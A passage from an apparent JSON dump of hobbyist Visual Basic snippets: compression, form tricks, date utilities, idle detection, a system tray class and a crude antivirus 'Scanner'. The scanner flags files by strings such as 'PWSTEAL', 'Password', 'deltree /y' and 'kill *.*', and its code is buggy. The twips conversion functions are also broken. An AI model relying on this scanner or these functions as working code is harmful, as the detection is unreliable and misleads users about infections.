15))\n End If\n WriteStrBuf ostr, Chr(LastDictIdx \\ 16)\n \n FirstInPair = Not FirstInPair\n \n TmpStr = Ch\n LastDictIdx = Asc(Ch)\n Else\n TmpStr = TmpStr & Ch\n LastDictIdx = DictIdx\n End If\n Next i\n \n WriteStrBuf ostr, _\n IIf(FirstInPair, Chr(LastDictIdx \\ 16) & Chr((LastDictIdx And 15) * 16), _\n Chr(HalfCh Or (LastDictIdx And 15)) & Chr(LastDictIdx \\ 16))\n \n Compress = Left(ostr, pStr - 1)\n \nEnd Function\nFunction GC(str As String, position As Long) As Integer\n GC = Asc(Mid$(str, position, 1))\nEnd Function\nFunction DeCompress(IPStr As String) As String\n Dim DictIdx As Integer\n Dim FirstInPair As Boolean\n Dim i As Long\n Dim s As String\n Dim s2 As String\n InitDict\n pStr = 1\n i = 1\n FirstInPair = True\n \n Do While i < Len(IPStr)\n If FirstInPair Then\n DictIdx = (GC(IPStr, i) * 16) Or (GC(IPStr, i + 1) \\ 16)\n i = i + 1\n Else\n DictIdx = (GC(IPStr, i + 1) * 16) Or (GC(IPStr, i) And 15)\n i = i + 2\n End If\n FirstInPair = Not FirstInPair\n \n If i > 2 Then\n If DictIdx = NextDictIdx Or (DictIdx = 256 And NextDictIdx = 4096) Then\n AddToDict s2 & Left$(s2, 1)\n Else\n AddToDict s2 & Left$(Dict(DictIdx), 1)\n End If\n End If\n s2 = Dict(DictIdx)\n WriteStrBuf s, s2\n Loop\n \n DeCompress = Left(s, pStr - 1)\nEnd Function\nSub test()\n Dim s As String\n \n MousePointer = vbHourglass\n \n s = Compress(Text1)\n Text2 = DeCompress(s)\n Text3 = Len(Text1)\n Text4 = Len(s)\n \n If Text1 <> Text2 Then\n Text5 = \"error\"\n Else\n Text5 = \"ok\"\n End If\n \n MousePointer = vbNormal\nEnd Sub\n"},{"WorldId":1,"id":3335,"LineNumber":1,"line":"' Place this in the Form Load event of the form you want to disable the 'X':\nDim hSysMenu As Long\nhSysMenu = GetSystemMenu(hwnd, False)\nRemoveMenu hSysMenu, SC_CLOSE, MF_BYCOMMAND\n"},{"WorldId":1,"id":4859,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Form_Load()\nMe.WindowState = 2\nMe.BackColor = vbBlack\nMe.ForeColor = vbWhite\nMe.Caption = \"3D Sphere - Your own 3D engine! Programed by BORIZA\"\nMe.Show\n'Position of sphere on the screen\nY = 4000\nX = 6000\n'Size of a polygon:\nPolygon_R = 100\n'Distance of the object from you\nMe_to_Obj = 10000\nObj_to_Me = 1000\nGenPolygon\nDrawArray Object\nRotate Object, 0, -Pi / 2\nSphere\nEnd Sub\n"},{"WorldId":1,"id":2110,"LineNumber":1,"line":"Function PixelsToTwips_height(pxls)\nPixelsToTwips_height = pxls * screen.TwipsPerPixelY\nend function\nFunction PixelsToTwips_width(pxls)\nPixelsToTwips_width = pxls * screen.TwipsPerPixelX\nend function\n'This next part reverses the las although you should\n'be able to use basic math\nFunction TwipsToPixels_height(pxls)\nPixelsToTwips_height = pxls \\ screen.TwipsPerPixelY\nend function\nFunction TwipsToPixels_width(pxls)\nPixelsToTwips_width = pxls \\ screen.TwipsPerPixelX\nend function\n"},{"WorldId":1,"id":2100,"LineNumber":1,"line":"Dim rgn As Long 'global variable to keep track of region\nPrivate Sub Form_Load()\n Dim maskcolor As Long\n maskcolor = RGB(0, 255, 0) '<----your color goes there\n TransBack 0, 0, Me.Width / 15, Me.Height / 15, maskcolor, Me.hdc, Me.hWnd\nEnd Sub\n' allows form to be moved by clicking anywhere on it\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)\n ReleaseCapture\n SendMessage Me.hWnd, &HA1, 2, 0&\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n DeleteObject rgn 'clean up before closing\nEnd Sub\nPrivate Sub TransBack(ByVal xstart As Long, ByVal ystart As Long, _\n ByVal xend As Long, ByVal yend As Long, ByVal bgcolor As Long, _\n ByVal thdc As Long, ByVal thWnd As Long)\n Dim rgn2 As Long, rgn3 As Long, rgn4 As Long\n Dim x1 As Long, y1 As Long, i As Long, j As Long, tj As Long\n rgn = CreateRectRgn(0, 0, 0, 0) 'create some region buffers\n rgn2 = CreateRectRgn(0, 0, 0, 0)\n rgn3 = CreateRectRgn(0, 0, 0, 0)\n \n ' this loop picks out the transparent colors,\n ' there MUST be three loops or Windows has a hard\n ' time handling the complex regions\n i = xstart\n x1 = (xend - xstart) + 1: y1 = (yend - ystart) + 1\n Do While i < x1\n j = ystart\n Do While j < y1\n If GetPixel(thdc, i, j) <> bgcolor Then\n tj = j\n Do While GetPixel(thdc, i, j + 1) <> bgcolor\n j = j + 1\n If j = y1 Then Exit Do\n Loop\n rgn4 = CreateRectRgn(i, tj, i + 1, j + 1)\n CombineRgn rgn3, rgn2, rgn2, 5\n CombineRgn rgn2, rgn4, rgn3, 2\n DeleteObject rgn4\n End If\n j = j + 1\n Loop\n CombineRgn rgn3, rgn, rgn, 5\n CombineRgn rgn, rgn2, rgn3, 2\n DoEvents\n i = i + 1\n Loop\n DeleteObject rgn2\n SetWindowRgn thWnd, rgn, True\nEnd Sub\n"},{"WorldId":1,"id":4503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4556,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2120,"LineNumber":1,"line":"Private Sub Dial(num As String)\n ' Open the com port.\n Communications.PortOpen = True\n ' Send the attention command to the modem.\n Communications.Output = \"AT\" + Chr$(13)\n ' Wait for processing.\n Do\n DoEvents\n Loop Until Communications.InBufferCount >= 2\n ' Dial the number.\n Communications.Output = \"ATDT \" + num + Chr$(13)\n ' Takes about 47 sec. to dial\n wait = Timer + 47\n Do\n DoEvents\n Loop While Timer <= wait\n ' Uncomment to disconnect after dialing.\n 'Communications.PortOpen = False\n End Sub"},{"WorldId":1,"id":2130,"LineNumber":1,"line":"Function Scanner(File As String)\nInfected = 0\nTrojan = 0\nDim BO As Integer\nDim FileLenn As Variant\nDim FileLennn As Variant\nDim l003A As Variant\nDim l003E As Variant\nDim l0039 As String\nDim l0001 As Single\nDim l0002 As Single\nDim l0003 As Single\nDim l0004 As Single\nDim l0005 As Single\nDim l0006 As Single\nDim l0007 As Single\nDim l0008 As Single\nDim l0009 As Single\nDim l0010 As Single\nDim l0011 As Single\nDim l0012 As Single\nDim l0013 As Single\nDim l0014 As Single\nDim l00530 As Single\nIf LCase(Right$(File, 3)) = \"swp\" Then MsgBox \"File Is a System.swp File\": Exit Function\nOpen File For Binary As #2\nDoEvents\nFileLenn = LOF(2)\nFileLennn = FileLenn\nl003A = 1\nWhile FileLennn >= 0\n If FileLennn > 32000 Then\n l003E = 32000\n ElseIf FileLennn = 0 Then\n l003E = 1\n Else\n l003E = FileLennn\n End If\n l0039$ = String$(l003E, \" \")\n Get #2, l003A, l0039$\n l0001! = InStr(1, l0039$, \"@juno.com\", 1)\n l0002! = InStr(1, l0039$, \"@hotmail.com\", 1)\n l0003! = InStr(1, l0039$, \"@rocketmail.com\", 1)\n l0004! = InStr(1, l0039$, \"Password\", 1)\n l0005! = InStr(1, l0039$, \"Screen Name\", 1)\n l0006! = InStr(1, l0039$, \"win32.exe\", 1)\n l0007! = InStr(1, l0039$, \"STEALER1\", 1)\n l0008! = InStr(1, l0039$, \"PWSTEAL\", 1)\n l0009! = InStr(1, l0039$, \"usa.com\", 1)\n l0010! = InStr(1, l0039$, \"Remove Directory\", 1)\n l0011! = InStr(1, l0039$, \"autoapp\", 1)\n l0012! = InStr(1, l0039$, \"deltree /y\", 1)\n l0013! = InStr(1, l0039$, \"kill *.*\", 1)\n l0014! = InStr(1, l0039$, \"load\", 1)\n l00530! = InStr(1, l0039$, \"win.ini\", 1)\nIf l0001! Then Infected = 1: MsgBox \"File Sends Mail To juno.com\": Exit Function\nIf l0002! Then Infected = 1: MsgBox \"File Sends Mail To hotmail.com\": Exit Function\nIf l0003! Then Infected = 1: MsgBox \"File Sends Mail To rocketmail.com\": Exit Function\nIf l0004! Then Infected = 1: MsgBox \"File Contains The String 'Password'\": Exit Function\nIf l0005! Then Infected = 1: MsgBox \"File Contains The String 'Screen Name'\": Exit Function\nIf l0006! Then Infected = 1: MsgBox \"File Loads Itself As 'Win32'\": Exit Function\nIf l0007! Then Infected = 1: MsgBox \"File Is An AOL Trojan\": Exit Function\nIf l0008! Then Infected = 1: MsgBox \"File Is An AOL Trojan\": Exit Function\nIf l0009! Then Infected = 1: MsgBox \"File Sends Mail To usa.com\": Exit Function\nIf l0010! Then Infected = 1: MsgBox \"File Removes Directories\": Exit Function\nIf l0011! Then Infected = 1: MsgBox \"File Is Probably An Auto Mailer\": Exit Function\nIf l0012! Then Infected = 1: MsgBox \"File Is A Deltree\": Exit Function\nIf l0013! Then Infected = 1: MsgBox \"File Is A Virus\": Exit Function\nIf l0014! And l00530! Then Infected = 1: MsgBox \"File Writes To The 'win.ini' File \": Exit Function\nIf BO = 3 And FileLenn = 124928 Then Trojan = 1: MsgBox \"File Is The BackOrifice.Trojan\": Exit Function\nIf Not l0001! Or Not 10002! Or Not 10003 Or Not 10004! Or Not 10005! Or Not 10006! Or Not l0007! Or Not l0008! Or Not l0009! Or Not l0010! Or Not l0011! Or Not l0012! Or Not l0013! Or Not l0014! Then Infected = 0: MsgBox \"No Virus Found\": Exit Function\nWend\nEnd Function"},{"WorldId":1,"id":2131,"LineNumber":1,"line":"\nPublic Function GetTimeZone(Optional ByRef strTZName As String) As Long\n Dim objTimeZone As TIME_ZONE_INFORMATION\n Dim lngResult As Long\n Dim i As Long\n lngResult = GetTimeZoneInformation&(objTimeZone)\n \n \n Select Case lngResult\n Case 0&, 1& 'use standard time\n GetTimeZone = -(objTimeZone.Bias + objTimeZone.StandardBias) 'into minutes\n \n For i = 0 To 31\n If objTimeZone.StandardName(i) = 0 Then Exit For\n strTZName = strTZName & Chr(objTimeZone.StandardName(i))\n Next\n \n Case 2& 'use daylight savings time\n GetTimeZone = -(objTimeZone.Bias + objTimeZone.DaylightBias) 'into minutes\n \n For i = 0 To 31\n If objTimeZone.DaylightName(i) = 0 Then Exit For\n strTZName = strTZName & Chr(objTimeZone.DaylightName(i))\n Next\n End Select\nEnd Function\nPublic Function InternetTime()\n Dim tmpH\n Dim tmpS\n Dim tmpM\n Dim itime\n Dim tmpZ\n Dim testtemp As String\n \n tmpH = Hour(Time)\n tmpM = Minute(Time)\n tmpS = Second(Time)\n tmpZ = GetTimeZone\n itime = ((tmpH * 3600 + ((tmpM - tmpZ + 60) * 60) + tmpS) * 1000 / 86400)\n If itime > 1000 Then\n itime = itime - 1000\n ElseIf itime < 0 Then\n itime = itime + 1000\n End If\n InternetTime = itime\nEnd Function\n"},{"WorldId":1,"id":2206,"LineNumber":1,"line":"' Get the current username from Windows\n' Coded By MAGiC MANiAC^mTo\n' More Examples At: http://home.kabelfoon.nl/~mto/\n'\nDeclare Function GetUserName Lib \"advapi32.dll\" Alias \"GetUserNameA\" _ (ByVal lpBuffer As String, nSize As Long) As Long\nFunction CurUserName$()\n Dim sTmp1$\n sTmp1 = Space$(512)\n GetUserName sTmp1, Len(sTmp1)\n CurUserName = Trim$(sTmp1)\nEnd Function\n"},{"WorldId":1,"id":2338,"LineNumber":1,"line":"' Get the current computername from Windows\n' Coded By MAGiC MANiAC^mTo\n' More Examples At: http://home.kabelfoon.nl/~mto/\n'\nDeclare Function GetComputerName Lib \"kernel32\" Alias \"GetComputerNameA\" _ (ByVal lpBuffer$, nSize As Long) As Long\nFunction CurComputerName$()\n Dim sTmp1$\n sTmp1 = Space$(512)\n GetComputerName sTmp1, Len(sTmp1)\n CurComputerName = Trim$(sTmp1)\nEnd Function\n"},{"WorldId":1,"id":2490,"LineNumber":1,"line":"'***************************************************************************\n'*PUT THE FOLLOWING INTO A CLASS MODULE. NAME THE CLASS MODULE \"CStopWatch\"*\n'***************************************************************************\nPrivate m_StartTime As Single\nPrivate m_StopTime As Single\nConst cSecsInDay As Long = 86400\nPublic Enum cPauseConstants 'I'm not gonna explain this, consult VB Help if you want to know what it does\n cSeconds = 0\n cMinutes = 1\n cHours = 2\nEnd Enum\nPublic Sub StartTiming()\n m_StartTime = Timer\nEnd Sub\nPublic Sub StopTiming()\n m_StopTime = Timer\nEnd Sub\nPublic Function TimeElapsed() As Single\n \n Dim tempTimeElapsed\n \n tempTimeElapsed = m_StopTime - m_StartTime 'see how many seconds passed since stopwatch has started\n \n If tempTimeElapsed < 0 Then 'if value of above is less than 0, assume that timing started before midnight and ended after midnight\n \n TimeElapsed = tempTimeElapsed + cSecsInDay 'add number of seconds in a day to the negative number and you have the time that has elapsed\n \n Else 'if it's a positive number...\n \n TimeElapsed = tempTimeElapsed\n \n End If\n \nEnd Function\n'****************************************************************************\n'*To use the functions in your program, paste the following code into a form*\n'****************************************************************************\n'This goes in the Declaration Section\nDim TimeKeeper as CStopWatch\n'Press command1 to start timing\nPrivate Sub Command1_Click()\n Set TimeKeeper = New CStopWatch\n TimeKeeper.StartTiming\nEnd Sub\n\n'Press command2 to stop timing\nPrivate Sub Command2_Click()\n TimeKeeper.StopTiming\nEnd Sub\n\n'Press command3 to display the number of seconds that have elapsed, in a MsgBox\nPrivate Sub Command3_Click()\n Dim Elapsed as Single\n \n Elapsed = TimeKeeper.TimeElapsed\n MsgBox Elapsed\nEnd Sub\n'Please give comments and suggestions on this code. It's basically my first\n'class module. Email me at: <c03jabot@prg.wcape.school.za>"},{"WorldId":1,"id":2497,"LineNumber":1,"line":"'*************************************\n'This goes into a class module\n'Important: NAME THE MODULE \"CPause\"\n'*************************************\nConst iSecsInDay As Long = 86400\nEnum iConstants\n iSeconds = 0\n iMinutes = 1\n iHours = 2\n iMilliSec = 3\nEnd Enum\n \nPublic Function pPause(ByVal Number As Single, _\n Optional ByVal Unit As iConstants)\n Dim iStopTime, fakeTimer, sAfterMidnight, sBeforeMidnight\n If Unit = iSeconds Then\n Number = Number\n ElseIf Unit = iMinutes Then\n Number = Number * 60\n ElseIf Unit = iHours Then\n Number = Number * 3600\n ElseIf Unit = iMilliSec Then\n Number = Number / 1000\n End If\n fakeTimer = Timer\n iStopTime = fakeTimer + Number\n If iStopTime > iSecsInDay Then\n sAfterMidnight = iStopTime - iSecsInDay\n sBeforeMidnight = Number - sAfterMidnight\n fakeTimer = Timer\n While Timer < fakeTimer + sBeforeMidnight And Timer <> 0\n DoEvents\n Wend\n fakeTimer = Timer\n While Timer < fakeTimer + sAfterMidnight\n DoEvents\n Wend\n Else 'if pausing won't continue through midnight\n While Timer < iStopTime\n DoEvents\n Wend\n End If\nEnd Function\n'************************************\n'Put the following in the Declaration\n'section of a form\n'************************************\nDim mytimer as CPause\n'***************************************************\n'Put the following into any Sub (eg. Command1_Click)\n'***************************************************\nSet mytimer = New CPause\n'to pause for 10 seconds, use the following call\ni = mytimer.pPause(10, iSeconds)\n'**************************************************\n'End of Code\n'I welcome any comments bug reports or enhancements that can be made!\n'<c03jabot@prg.wcape.school.za>"},{"WorldId":1,"id":3579,"LineNumber":1,"line":"'*************************************************\n'*DATEFUNCTIONS *\n'* *\n'*By: Jan Botha *\n'*eMail: c03jabot@prg.wcape.school.za *\n'*Date: Sunday, 19 September 1999 *\n'*Inspired by David I Schneider's book, *\n'* \"An Introduction to Programming using *\n'* Visual Basic 5.0 - Third Edition\" *\n'*I only got one of the formulas out from his *\n'*book as well as the idea. As I programmed on *\n'*I got ideas for other functions too. *\n'*So here they are! *\n'*************************************************\nOption Explicit\n'This returns the day of the week of a certain date.\n'It will only work with dates after 1582, because\n'the calendar we use today was introduced then\nPublic Function DayOfWeek(ByVal Day As Integer, ByVal Month As Integer, ByVal Year As Integer) As String\n Dim w As Integer, wQuotient, wRemainder, int6\n \n If Month = 1 Then\n Month = 13\n Year = Year - 1\n ElseIf Month = 2 Then\n Month = 14\n Year = Year - 1\n End If\n \n int6 = 0.6 * (Month + 1)\n int6 = Int(int6)\n 'I got this formula from David I Schneider's book\n '\"An Introduction to Programming using Visual Basic 5.0 - Third Edition\"\n w = Day + 2 * Month + int6 + Year + Int(Year / 4) - Int(Year / 100) + Int(Year / 400) + 2\n wQuotient = Int(w / 7)\n DayOfWeek = DayString(w - (wQuotient * 7))\nEnd Function\n'See what day of the year it is\nPublic Function DayOfYear(ByVal Day As Integer, ByVal Month As Integer, ByVal LeapYear As Boolean) As Integer\n Dim i As Integer, fDay As Integer\n For i = 1 To Month - 1\n fDay = fDay + DaysInMonth(i, LeapYear)\n Next\n fDay = fDay + Day\n DayOfYear = fDay\nEnd Function\n'This function check how many days there are between\n'two certain dates\nPublic Function DaysBetween(ByVal startDay As Integer, ByVal startMonth As Integer, ByVal startYear As Integer, ByVal endDay As Integer, ByVal endMonth As Integer, ByVal endYear As Integer) As Long\n Dim startIsLeap As Boolean, endIsLeap As Boolean\n Dim daysToEnd As Integer, fDays As Integer\n startIsLeap = IsLeapYear(startYear)\n endIsLeap = IsLeapYear(endYear)\n \n startDay = DayOfYear(startDay, startMonth, startIsLeap)\n endDay = DayOfYear(endDay, endMonth, endIsLeap)\n \n If startYear = endYear Then\n DaysBetween = endDay - startDay\n Exit Function\n End If\n \n daysToEnd = DaysInYear(startYear) - startDay\n \n For i = startYear + 1 To endYear - 1\n fDays = fDays + DaysInYear(i)\n Next\n \n fDays = fDays + daysToEnd + endDay\n DaysBetween = fDays\n \nEnd Function\nPublic Function DaysInMonth(ByVal Month As Integer, ByVal LeapYear As Boolean) As Integer\n Select Case Month\n Case 1, 3, 5, 7, 8, 10, 12: DaysInMonth = 31\n Case 2\n If LeapYear Then\n DaysInMonth = 29\n Else\n DaysInMonth = 28\n End If\n Case 4, 6, 9, 11: DaysInMonth = 30\n End Select\nEnd Function\n'Use this function to determine how many days there are in a year\nPublic Function DaysInYear(ByVal Year As Integer) As Integer\n 'leap years have 366 days and other years have\n '365. simple\n If IsLeapYear(Year) Then\n DaysInYear = 366\n Else\n DaysInYear = 365\n End If\nEnd Function\nPrivate Function DayString(ByVal Weekday As Integer)\n 'this function is used by the DayOfWeek function only\n Select Case Weekday\n Case 0: DayString = \"Saturday\"\n Case 1: DayString = \"Sunday\"\n Case 2: DayString = \"Monday\"\n Case 3: DayString = \"Tuesday\"\n Case 4: DayString = \"Wednesday\"\n Case 5: DayString = \"Thursday\"\n Case 6: DayString = \"Friday\"\n End Select\nEnd Function\n' Use this function to determine if a certain year is a leap year.\nPublic Function IsLeapYear(ByVal Year As Integer) As Boolean\n If Year Mod 4 = 0 Then\n IsLeapYear = True\n If Year Mod 100 = 0 And Year Mod 400 <> 0 Then\n IsLeapYear = False\n End If\n End If\n 'all years divisible by 4 are leap years with the exception\n 'of years that are divisible by 100 and not by 400\nEnd Function\nPlease email me comments, suggestions and especially BUGS!\nc03jabot@prg.wcape.school.za"},{"WorldId":1,"id":3580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8776,"LineNumber":1,"line":"'BEFORE you start:\n'Put 2 Timers on a form\n'Name the one tmrPeriod and the other \n'tmrStateMonitor. Set both Timers' Interval\n'property to 1\n'Paste all the below code into the form!\n'Global Idle Check 1\n'==============\n'Copyright > Jan Botha 1998-2000\n'Release Date > 9 June 2000\n'Email > ja_botha@hotmail.com\n'\n'This code monitors the state of the keys on the\n'keyboard and the mousebuttons as well as the\n'position of the mouse. Whenever the 'tmrStateMonitor'\n'finds that no keys or mousebuttons is pressed\n'and that the mouse is still in the same position,\n'it sets the IsIdle variable to True and the\n'startOfIdle variable to the = the system timer.\n'\n'Throughout the form, comments/documentation\n'are given either on the same line as the statement\n'it is commenting on, or on the line preceeding the\n'statement. The code is quite well commented\n'to make beginners or any one else understand\n'what's going on. This code IS on a beginner level,\n'but the result is quite useful.\n'\n'Contact me if you have any ideas.\n'You can use and modify this as much as you like,\n'BUT:\n'1. Please let me know how you modified this, just\n' 'cause I'd like to see where I maybe went wrong.\n'2. Give me some credit. Even if you only tell me\n' about an app that you used this for!\n'\n'Now I'll shut up, so you can actually see what this\n'is about.\n'Enjoy!\n'Jan Botha\n'email: ja_botha@hotmail.com\n'==========================\n'IMPORTANT NOTE:\n'This code will probably screw up completely if you\n'try to run it while the midnight rollover occurr.\n'That's 'cause the Timer object resets to 0 at\n'midnight.\n'You could try and run something to wait until midnight\n'has passed, before continuing the idle check\n'=============================\n'START OF ACTUAL CODE:\n'all variables must be declared explicitly (this is simply\n'a good programming \"principle\", if you want :-)\nOption Explicit\n'type declaration for the mouse (cursor) position\nPrivate Type POINTAPI\n x As Long\n y As Long\nEnd Type\n'API function to get the cursor position\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\n'API function to check the state of the mouse buttons\n'as well as the keyboard.\nPrivate Declare Function GetAsyncKeyState Lib \"user32\" (ByVal vKey As Long) As Integer\n'set the length of time the computer must idle, before\n'the so-called \"idle-state\" is reached. unit: seconds\n'You'd probably want to change this value!!!\nPrivate Const INTERVAL As Long = 10\nDim IsIdle As Boolean 'True when idling or while in idle-state\nDim MousePos As POINTAPI 'holds mouse position\n'holds time (in seconds) when the idle started\n'used to calculate if the computer has been idle for INTERVAL\nDim startOfIdle As Long\nPrivate Sub tmrStateMonitor_Timer()\n 'holds the state of the key that is being monitored\n Dim state As Integer\n 'holds the CURRENT mouse position.\n 'It's to compare the current position with the previous\n 'position\n Dim tmpPos As POINTAPI\n Dim ret As Long 'simply holds the return value of the API\n 'this checks if a key/button is pressed, or\n 'if the mouse has moved.\n Dim IdleFound As Boolean\n Dim i As Integer 'the counter uses by the For loop\n \n \n IdleFound = False\n 'Here I'm not sure about myself:\n 'I don't know to what to set the value\n '256 to. It works as is, though!\n 'And, what it does, is retrieve the state of each\n 'individual key.\n For i = 1 To 256\n 'call the API\n state = GetAsyncKeyState(i)\n 'state will = -32767 if the 'i' key/button is\n 'currently being pressed:\n If state = -32767 Then\n 'if it is pressed, then this is the end of any idles\n IdleFound = True 'means that something is withholding the computer of idling\n IsIdle = False 'thus, it is not idling, so set the value\n End If\n Next\n 'get the position of the mouse cursor\n ret = GetCursorPos(tmpPos)\n 'if the coordinates of the mouse are different than\n 'last time or when the idle started, then the system\n 'is not idling:\n If tmpPos.x <> MousePos.x Or tmpPos.y <> MousePos.y Then\n IsIdle = False 'set the...\n IdleFound = True 'values\n 'store the current coordinates so that we\n 'can compare next time round\n MousePos.x = tmpPos.x\n MousePos.y = tmpPos.y\n End If\n 'if something did not withhold the idle then...\n If Not IdleFound Then\n 'if isIdle not equals false, then don't reset the\n 'startOfIdle!!\n If Not IsIdle Then\n 'if it is false, then the idle is beginning\n IsIdle = True\n startOfIdle = Timer\n End If\n End If\nEnd Sub\nPrivate Sub tmrPeriod_Timer()\n 'this timer continuesly monitors the\n 'value of IsIdle to see if the system has been\n 'idle for INTERVAL\n \n If IsIdle Then\n 'if the difference between now (timer) and the\n 'time the idle started, is => INTERVAL, then\n 'the 'idle state' has been reached\n If Timer - startOfIdle >= INTERVAL Then\n 'call the sub that will handle any code at this stage\n 'this is merely to seperate the idle check code\n 'from your own code\n 'NOTE: I advise you to perform some sort of\n 'check here to see if the idle state has been\n 'reached for the first time, or if the system\n 'has just been idling ever since the idle state\n 'was reached\n Call IdleStateEngaged(Timer)\n 'important: set the values\n startOfIdle = Timer\n IsIdle = True\n End If\n Else ' not idling, or the idlestate has been left\n 'call the sub\n 'NOTE: I advise you to perform some sort of\n 'check here to see if the system was in the\n 'idle state, or if the system\n 'has not been idling anyway\n Call IdleStateDisengaged(Timer)\n End If\nEnd Sub\nPublic Sub IdleStateEngaged(ByVal IdleStartTime As Long)\n 'PUT YOUR CODE HERE:\n 'This is where you will put the code that you want\n 'to execute now that the system has been idling\n 'for INTERVAL seconds\n 'Example:\n Caption = \"Idle state reached - \" & IdleStartTime\n 'If you use the Global Idle Check for a screen\n 'saver (thereby overruling the window$ screensaver),\n 'you would put the start code here\nEnd Sub\nPublic Sub IdleStateDisengaged(ByVal IdleStopTime As Long)\n 'PUT YOUR CODE HERE:\n 'This is where you will put the code that you want\n 'to execute now as soon as the system stops idling\n 'or while the user is active\n 'Example:\n Caption = \"No idling - \" & IdleStopTime\n 'If you use the Global Idle Check for a screen\n 'saver (thereby overruling the window$ screensaver),\n 'you would put the end code here\nEnd Sub\n"},{"WorldId":1,"id":3167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2155,"LineNumber":1,"line":"'*:********************************************************************************\n'*: Class. . . . . . . . . . : clsSysTray.cls\n'*: Description. . . . . . . : When the application is minimized, it minimizes to\n'*: be an icon in the system tray.\n'*: Author . . . . . . . . . : Martin Richardson\n'*: Acknowledgements . . . . : Mark Hunter\n'*: Copyright. . . . . . . . : This class is freeware\n'*: VB Versions:\n'*:\n'*: 5.0 - Change the following constant definition to:\n'*: Private Const VB_VERSION = 5\n#Const VB_VERSION = 6\n'*: - Add a picturebox control to your form, turn visible for it off, and\n'*: call it \"pichook\"\n'*:\n'*: 6.0 - Make sure the VB_VERSION constant is set to value of 6\n'*:********************************************************************************\n'*: Code to set up in the main form:\n'Private WithEvents gSysTray As clsSysTray\n'Private Sub Form_Load()\n' Set gSysTray = New clsSysTray\n' Set gSysTray.SourceWindow = Me\n'End Sub\n'Private Sub Form_Resize()\n' If Me.WindowState = vbMinimized Then\n' gSysTray.MinToSysTray\n' End If\n'End Sub\n'*: For VB5.0, add an invisible picture box to the form and call it \"pichook\"\n'*: Properties\n'*:\n'*: Icon\n'*: Icon displayed in the taskbar. Use this property to set the icon, or return\n'*: it.\n'*: ToolTip\n'*: Tooltip text displayed when the mouse is over the icon in the system tray. Use\n'*: this property to assign text to the tooltip, or to return the value of it.\n'*: SourceWindow As Form\n'*: Reference to the form which will minimize to the system tray.\n'*: DefaultDblClk As Boolean\n'*: Set to True to fire the DEFAULT (defined below) for the mouse double click event\n'*: which will show the application and remove the icon from the tray. (default)\n'*: Set to FALSE to override the below default event.\n'*:\n'*: Methods:\n'*:\n'*: MinToSysTray\n'*: Minimize the application, have it appear as an icon in the system tray.\n'*: The applicion disappears from the task bar and only appears in the\n'*: system tray.\n'*: IconInSysTray\n'*: Create an icon for the application in the system tray, but leave the icon\n'*: visible and on the task bar.\n'*: RemoveFromSysTray\n'*: Remove the icon from the system tray.\n'*:\n'*: These methods are available, but the same actions can be accomplished by\n'*: setting the ICON and TOOLTIP properties.\n'*:\n'*: ChangeToolTip( sNewToolTip As String )\n'*: Set/change the tooltip displayed when the mouse is over the tray icon.\n'*: ex: gSysTray.ChangeToolTip \"Processing...\"\n'*: ChangeIcon( pNewIcon As Picture )\n'*: Set/change the icon which appears in the system tray. The default icon\n'*: is the icon of the form.\n'*: ex: gSysTray.ChangeIcon ImageList1.ListImages(\"busyicon\").picture\n'*: Events:\n'*: LButtonDblClk\n'*: Fires when double clicking the left mouse button over the tray icon. This event\n'*: has default code which will show the form and remove the icon from the\n'*: system tray when it fires. Set the property DefaultDblClk to False to\n'*: bypass this code.\n'*: LButtonDown\n'*: Fires when the left mouse button goes down over the tray icon.\n'*: LButtonUp\n'*: Fires when the left mouse button comes up over the tray icon.\n'*: RButtonDblClk\n'*: Fires when double clicking the right mouse button over the tray icon.\n'*: RButtonDown\n'*: Fires when the right mouse button goes down over the tray icon.\n'*: RButtonUp\n'*: Fires when the right mouse button comes up over the tray icon.\n'*: Best place for calling a popup menu.\n'*:\n'*: Example of utilizing a popup menu with the RButtonUp event:\n'*: 1. Create a menu on the form being minimized, or on it's own seperate form.\n'*: Let's say the form with the menu is called frmMenuForm.\n'*: 2. Set the name of the root menu item to be mnuRightClickMenu\n'*: 3. Assuming the name of the global SysTray object is still gSysTray, use this code\n'*: in the main form:\n'*:\n'Private Sub gSysTray_RButtonUP()\n' PopUpMenu frmMenuForm.mnuRightClickMenu\n'End Sub\n'*:\n'*:********************************************************************************\nPrivate Type NOTIFYICONDATA\n cbSize As Long\n hwnd As Long\n uId As Long\n uFlags As Long\n ucallbackMessage As Long\n hIcon As Long\n szTip As String * 64\nEnd Type\nPrivate Const NIM_ADD = &H0\nPrivate Const NIM_MODIFY = &H1\nPrivate Const NIM_DELETE = &H2\nPrivate Const WM_MOUSEMOVE = &H200\nPrivate Const NIF_MESSAGE = &H1\nPrivate Const NIF_ICON = &H2\nPrivate Const NIF_TIP = &H4\nPrivate Const WM_LBUTTONDBLCLK = &H203\nPrivate Const WM_LBUTTONDOWN = &H201\nPrivate Const WM_LBUTTONUP = &H202\nPrivate Const WM_RBUTTONDBLCLK = &H206\nPrivate Const WM_RBUTTONDOWN = &H204\nPrivate Const WM_RBUTTONUP = &H205\nPrivate Declare Function Shell_NotifyIcon Lib \"shell32\" Alias \"Shell_NotifyIconA\" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean\nPrivate t As NOTIFYICONDATA\nPrivate WithEvents pichook As PictureBox\nPrivate mvarToolTip As String\nPublic Event LButtonDblClk()\nPublic Event LButtonDown()\nPublic Event LButtonUp()\nPublic Event RButtonDblClk()\nPublic Event RButtonDown()\nPublic Event RButtonUp()\n'local variable(s) to hold property value(s)\nPrivate mvarSourceWindow As Form 'local copy\nPrivate mvarDefaultDblClk As Boolean 'local copy\nPublic Property Let ToolTip(ByVal vData As String)\n ChangeToolTip vData\nEnd Property\nPublic Property Get ToolTip() As String\n ToolTip = mvarToolTip\nEnd Property\nPublic Property Let Icon(ByVal vData As Variant)\n ChangeIcon vData\nEnd Property\nPublic Property Get Icon() As Variant\n Icon = t.hIcon 'pichook.Picture\nEnd Property\nPublic Property Let DefaultDblClk(ByVal vData As Boolean)\n mvarDefaultDblClk = vData\nEnd Property\nPublic Property Get DefaultDblClk() As Boolean\n 